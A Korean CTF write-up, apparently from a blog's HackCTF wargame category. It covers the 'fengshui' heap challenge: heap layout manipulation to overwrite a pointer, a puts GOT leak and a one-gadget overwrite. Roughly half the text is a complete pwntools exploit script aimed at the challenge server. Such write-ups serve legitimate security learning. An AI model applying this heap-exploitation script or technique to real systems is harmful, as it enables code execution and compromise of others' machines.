풍수지리설 본문
내가 원하는 사이즈로 malloc할당이 가능하며 지울 수도 있다.
출력 및 업데이트가 가능하다.
0번 메뉴인 malloc을 할당하는 함수이다.
내가 원하는 size로 malloc을 할당하고 0x80크기의 malloc이 또 하나 할당된다.
내가 입력한 size malloc : text
0x80 크기의 malloc : name
name안에 text의 주소가 들어 간다.
전역 변수 store에 name의 주소가 들어간다.
1번 메뉴이다. 초기화한 후 0을 넣는다.
store변수를 통해 값을 출력한다.
update_desc함수이다.
조건문을 지나고 입력을 받는다.
조건문은 overflow를 방지한 듯하다.
힙을 할당받은 상태이다.
두 번 할당받은 상태이다.
여기서 0번 인덱스를 free 하고
0x80 크기를 할당받으면 어떻게 되는지 확인한다.
0x804c138에 0x804c018을 카르키고 있다.
여기까지 data를 조작할 수 있게 되었다.
이런 레이아웃 조작을 fengshui라고 한다.
0x804c0b0에 puts의 got 값을 넣어 실제 주소를 leak 한다.
그 후 1번 인덱스를 업데이트하여 원샷 가젯을 넣는다.
from pwn import *
p = remote("ctf.j0n9hyun.xyz",3028)
#p = process("./fengshui")
context.log_level = "Debug"
elf = ELF("./fengshui")
libc = ELF("./libc.so.6")
one_gadget = [0x3ac5c, 0x3ac5e, 0x3ac62, 0x3ac69, 0x5fbc5, 0x5fbc6]
def add_location(size, name, length, text):
p.sendlineafter("Choice: ", "0")
time.sleep(0.1)
p.sendlineafter("description: ", size)
time.sleep(0.1)
p.sendlineafter("Name: ", name)
time.sleep(0.1)
p.sendlineafter("length: ", length)
time.sleep(0.1)
p.sendlineafter("Text: ", text)
def delete_location():
p.sendlineafter("Choice: ","1")
p.sendlineafter("Index: ", "0")
def display_location(idx):
p.sendlineafter("Choice: ","2")
p.sendlineafter("Index: ", idx)
def update_location(idx, length, text):
p.sendlineafter("Choice: ", "3")
time.sleep(0.1)
p.sendlineafter("Index: ", idx)
time.sleep(0.1)
p.sendlineafter("length: ", str(length))
time.sleep(0.1)
p.sendlineafter("Text: ", text)
add_location("8", "AAAA", "8", "BBBB")
add_location("8", "AAAA", "8", "BBBB")
delete_location()
add_location("128","AAAA",str(0xa8), "A"*0x98 + p32(elf.got['puts']))
display_location("1")
p.recvuntil("Description: ")
leak_puts = u32(p.recv(4))
libc_base = leak_puts - libc.symbols['puts']
magic_gadget = libc_base + one_gadget[0]
print(hex(leak_puts))
print(hex(magic_gadget))
time.sleep(0.1)
update_location("1",len(p32(magic_gadget)), p32(magic_gadget))
p.interactive()
'wargame > HackCTF' 카테고리의 다른 글
babyheap (0) | 2021.12.21 |
---|---|
Unexploitable #2 (0) | 2021.12.17 |
World Best Encryption Tool (0) | 2021.12.16 |
Register (0) | 2021.12.16 |
RTC (0) | 2021.12.16 |
Comments